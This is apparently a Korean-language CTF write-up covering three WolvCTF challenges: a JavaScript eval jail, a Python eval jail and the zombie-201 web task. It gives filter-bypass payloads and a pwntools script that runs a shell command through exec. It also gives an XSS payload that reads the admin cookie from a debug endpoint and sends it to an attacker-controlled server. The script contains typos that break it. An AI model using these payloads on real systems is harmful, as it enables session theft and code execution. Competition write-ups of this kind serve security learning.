[yellsatjavascript]

const readline = require("readline");
const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout
});

// you can run code but you can't access the flag

rl.question(">>> ", (answer) => {
  flag = process.env['flag']
  if (answer.match(/flag/)) {
    console.log(':(');
    process.exit(1);
  }
  if (answer.match(/\./)) {
    console.log('hey, are you trying to access functions? :(');
    process.exit(1);
  }
  if (answer.match(/[{}]/)) {
    console.log('do you think calculators have curly braces? :(');
    process.exit(1);
  }
  eval(answer);
  rl.close();
});

rl.on('close', () => process.exit(0));

misc 문제로 java script로 구성되어 있으며 매치 함수로 구성된 필터링을 우회하는 문제입니다.

misc 문제지만 필터링 우회를 위한 이런 테크닉도 사용가능하다라는 점을 알리고자 해당 문제를 설명하게 되었습니다.

 

코드를 통해 알 수 있는 사실은 flag는 환경변수로 등록이 되었으며 3단계의 필터링을 통해 flag 호출이 막혀있다라는 점이었습니다.

 

FILTERING

  1. flag 문자열 필터링
  2. attribute 접근 제한을 위한 . 필터링
  3. [{}]

앞선 3가지 필터링을 통해 flag 파일에 대한 직접적인 접근을 제한하는 것을 확인할 수 있으며 환경변수로 flag를 등록하여 두었기 때문에 환경 호출을 통하여 flag를 확인할 수 있을것으로 보입니다.

하지만 환경변수 또한 attribute에 대한 자유로운 접근을 제한하기 위해 . 문자를 필터링하였습니다.

 

한 시간 가량 직접 코드를 컴파일하며 테스트 해본 결과 다음과 같이 표현이 가능하였습니다.

attibute는 [' '] 대괄호를 통해 표현이 가능하였습니다.

result log

 

 

[yellsatpython]

#
# Check out my Python calculator!
#

def validate(expression):
  if any([banned in expression for banned in [
    # my friends ran rm -rf / on my computer, so now I have to be careful
    "os",
    "system",
    "breakpoint",
    "sh",
    "vars(",
    "exec(",
    "eval(",
    "input(",
    "getattr",
    # sick and tired of vars shenanigans; no indexing!
    ".",
    "[",
    "]",
    "dict",
  ]]):
    return False
  return True

import sys

expr = input(">>> ")
if not validate(expr):
  print("no")
  sys.exit(0)

# no variables for you!
print(eval(expr, {}, {}))

# hey what does this do
print(vars())

misc 문제로 python으로 구성되어 있으며 필터링을 우회하는 문제입니다.

명령어 수행 함수 뿐만 아니라 [ ] . 과 같은 문자들도 사용이 불가능한것으로 보여집니다.

 

python 환경이라길래 SSTI인가 싶어 제일먼저 시도해보았습니다만 아니었습니다.

이 문제 또한 테크닉을 통해 flag.txt를 읽어내는 문제였습니다.

 

min(open('flag'+chr(0x2e)+'txt'))
max(open('flag'+chr(0x2e)+'txt'))

.을 chr(0x2e)로 우회하였습니다.

min과 max는 단순히 숫자만 비교해주는 함수가 아니라 인수로 받은 자료형 내에서 최소값 최대값을 반환해 주는 함수 입니다.

이를 활용하여 위와 같은 구문을 만들어 flag.txt를 읽어냈습니다.

 

아래 코드는 팀원 분이 문제 풀이에 사용했던 코드입니다.

제가 시도했던 방법과는 다르기 때문에 확인해보겠습니다.

from pwn import *
import binascii

HOST = "yellsatpython.wolvctf.io"
PORT = 1337
r = remote(HOST, PORT)

string = "__import__('os').system('cat flag.txt')"
res = ""
for s in strings:
	token = binsascii.hexlify(s.encode()).decode()
    #print(token)
    res + = f"chr(0x{token})+"
    
res = res[:-1]
cmd = f"""(a:exec,a({res}))"""

r.recvuntil(">>> ")
r.sendline(cmd)

print(r.recv().decode())

string 변수에는 실행할 명령어를 저장합니다. 해당 명령어는 "cat flag.txt" 명령어를 실행합니다.

for 루프를 사용하여, string 변수에 저장된 명령어 문자열을 하나씩 가져옵니다.

각 문자를 16진수 값으로 변환하여, chr() 함수를 사용하여 문자열 형태로 변환합니다.

이때, binsascii.hexlify() 함수를 사용하여 16진수 값으로 변환한 후, encode() 함수를 사용하여 이진 데이터를 문자열 형태로 변환합니다.

res 변수에는 변환한 문자열을 더하여, 전체 명령어를 완성합니다. 이때, 마지막에 추가된 '+' 문자열은 제거합니다.

 

cmd = f"""(a:exec,a(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x73)+chr(0x79)+chr(0x73)+chr(0x74)+chr(0x65)+chr(0x6d)+chr(0x28)+chr(0x27)+chr(0x63)+chr(0x61)+chr(0x74)+chr(0x20)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)+chr(0x2e)+chr(0x74)+chr(0x78)+chr(0x74)+chr(0x27)+chr(0x29)+chr(0x2b))"""

f-string으로 포멧팅하여 중괄호({}) 안에 변수나 표현식을 삽입합니다. 

cmd 변수는 a 라는 이름을 가진 함수를 호출하는 코드입니다.

이 함수는 exec 함수를 호출하는데, res 변수에 저장된 문자열을 인자로 전달하여 실행합니다. 따라서, cmd 변수에는 위와 같은 문자열이 저장되고 exec로 실행됩니다.

 

 

[zombie-201]

const fs = require('fs')
const escape = require('escape-html')
const exec = require('child_process')

const express = require("express")
const app = express()
app.use(express.static('public'))

const config = JSON.parse(fs.readFileSync('config.json'))
process.env.FLAG = config.flag

const validateRequest = (req) => {
    const url = req.query.url
    if (!url) {
        return 'Hmmm, not seeing a URL. Please try again.'
    }

    let parsedURL
    try {
        parsedURL = new URL(url)
    }
    catch (e) {
        return 'Something is wrong with your url: ' + escape(e.message)
    }

    if (parsedURL.protocol !== 'http:' && parsedURL.protocol !== 'https:') {
        return 'Our admin is picky. Please provide a url with the http or https protocol.'
    }

    if (parsedURL.hostname !== req.hostname) {
        return `Please provide a url with a hostname of: ${escape(req.hostname)}  Hmmm, I guess that will restrict the submissions. TODO: Remove this restriction before the admin notices and we all get fired.`
    }

    return null
}

app.get('/visit', function(req, res) {
    const validateError = validateRequest(req)
    if (validateError) {
        res.send(validateError)
        return
    }

    const file = 'node'
    const args = ['bot.js', config.httpOnly, req.hostname, req.query.url]
    const options = { timeout: 10000 }
    const callback = function(error, stdout, stderr) {
         console.log(error, stdout, stderr);
         res.send('admin bot has visited your url')
     }

    exec.execFile(file, args, options, callback)
});

// useful for debugging cloud deployments
app.get('/debug', function(req, res) {
    if (config.allowDebug) {
        res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
    }
    else {
        res.send('sorry, debug endpoint is not enabled')
    }
})

app.get('/zombie', function(req, res) {
    const show = req.query.show
    if (!show) {
        res.send('Hmmmm, you did not mention a show')
        return
    }

    const rating = Math.floor(Math.random() * 3)
    let blurb
    switch (rating) {
        case 2:
            blurb = `Wow, we really liked ${show} too!`
            break;
        case 1:
            blurb = `Yeah, ${show} was ok... I guess.`
            break;
        case 0:
            blurb = `Sorry, ${show} was horrible.`
            break;
    }
    res.send(blurb)
})

const port = 80
app.listen(port,() => {
    console.log(`Running on ${port}`);
});

Zombie-201 문제와 동일하며 config 파일만 조금 다릅니다.

configFile: '{"flag": "wctf{redacted}", "httpOnly": true, "allowDebug": true}'

docker-compoase.yml파일을 보면 구성 파일이 변경된 것을 볼 수 있습니다.

챌린지의 이전 부분에서 httpOnly는 false로 설정되어 js를 통해 관리자 쿠키를 검색하게 했습니다.

현재는 true로 변하였으며 allowDebug 옵션 또한,  true로 설정되어 있습니다.

 

//Fetch debug page
fetch("https://zombie-201-tlejfksioa-ul.a.run.app/debug").then( 
    function(response) {
        //get result as json
        return response.json(); 
    }
).then(
        function(data) {
            //get cookie entry and exfiltrate
            window.location.href = "http://[my server]/?c=".concat(data['cookie']);
        }
    );

1. debug를 사용하여 admin 획득하기

2. json 결과 가져오기

3. 쿠키 가져와서 필터링하기

 

https://zombie-201-tlejfksioa-ul.a.run.app/visit?url=https://zombie-201-tlejfksioa-ul.a.run.app/zombie?show=<script>fetch(“https://zombie-201-tlejfksioa-ul.a.run.app/debug”).then(function(response) {return response.json();}).then(function(data) {window.location.href = “http://ourserver/?c=”.concat(data[‘cookie’]);})</script>

페이로드는 위와 같습니다.

'Challenge > CTF' 카테고리의 다른 글

LINE CTF 2023  (0) 2023.03.28
Dice CTF 2023  (0) 2023.02.08
T3N4CIOUS CTF 2022  (0) 2022.03.26
[dvCTF] ICMP  (0) 2022.03.15
[UTCTF] Websockets?  (0) 2022.03.14

+ Recent posts